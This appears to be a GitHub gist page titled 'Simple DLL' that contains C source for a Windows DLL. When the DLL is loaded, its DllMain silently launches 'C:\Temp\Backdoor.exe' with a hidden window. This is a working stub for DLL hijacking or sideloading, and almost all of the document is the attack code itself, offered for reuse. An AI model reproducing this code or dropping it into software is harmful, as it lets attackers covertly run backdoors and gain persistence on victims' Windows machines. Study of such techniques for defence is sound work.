Skip to content

Instantly share code, notes, and snippets.

@benpturner
Created June 14, 2017 09:31
Show Gist options
  • Save benpturner/03d2b20763325c812f4eccbad2e8e6e9 to your computer and use it in GitHub Desktop.
Save benpturner/03d2b20763325c812f4eccbad2e8e6e9 to your computer and use it in GitHub Desktop.
Simple DLL
#include <windows.h>
#include <stdio.h>
//////////////////////////////////////////////////////////////////////
BOOLEAN WINAPI DllMain(
IN HINSTANCE /*hDllHandle*/,
IN DWORD nReason,
IN LPVOID /*Reserved*/)
{
BOOLEAN bSuccess = TRUE;
switch (nReason)
{
case DLL_PROCESS_ATTACH:
{
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi;
CreateProcess("C:\\Temp\\Backdoor.exe", NULL , NULL, NULL, FALSE, CREATE_NO_WINDOW , NULL, NULL, &si, &pi);
}
break;
case DLL_PROCESS_DETACH:
break;
}
return bSuccess;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment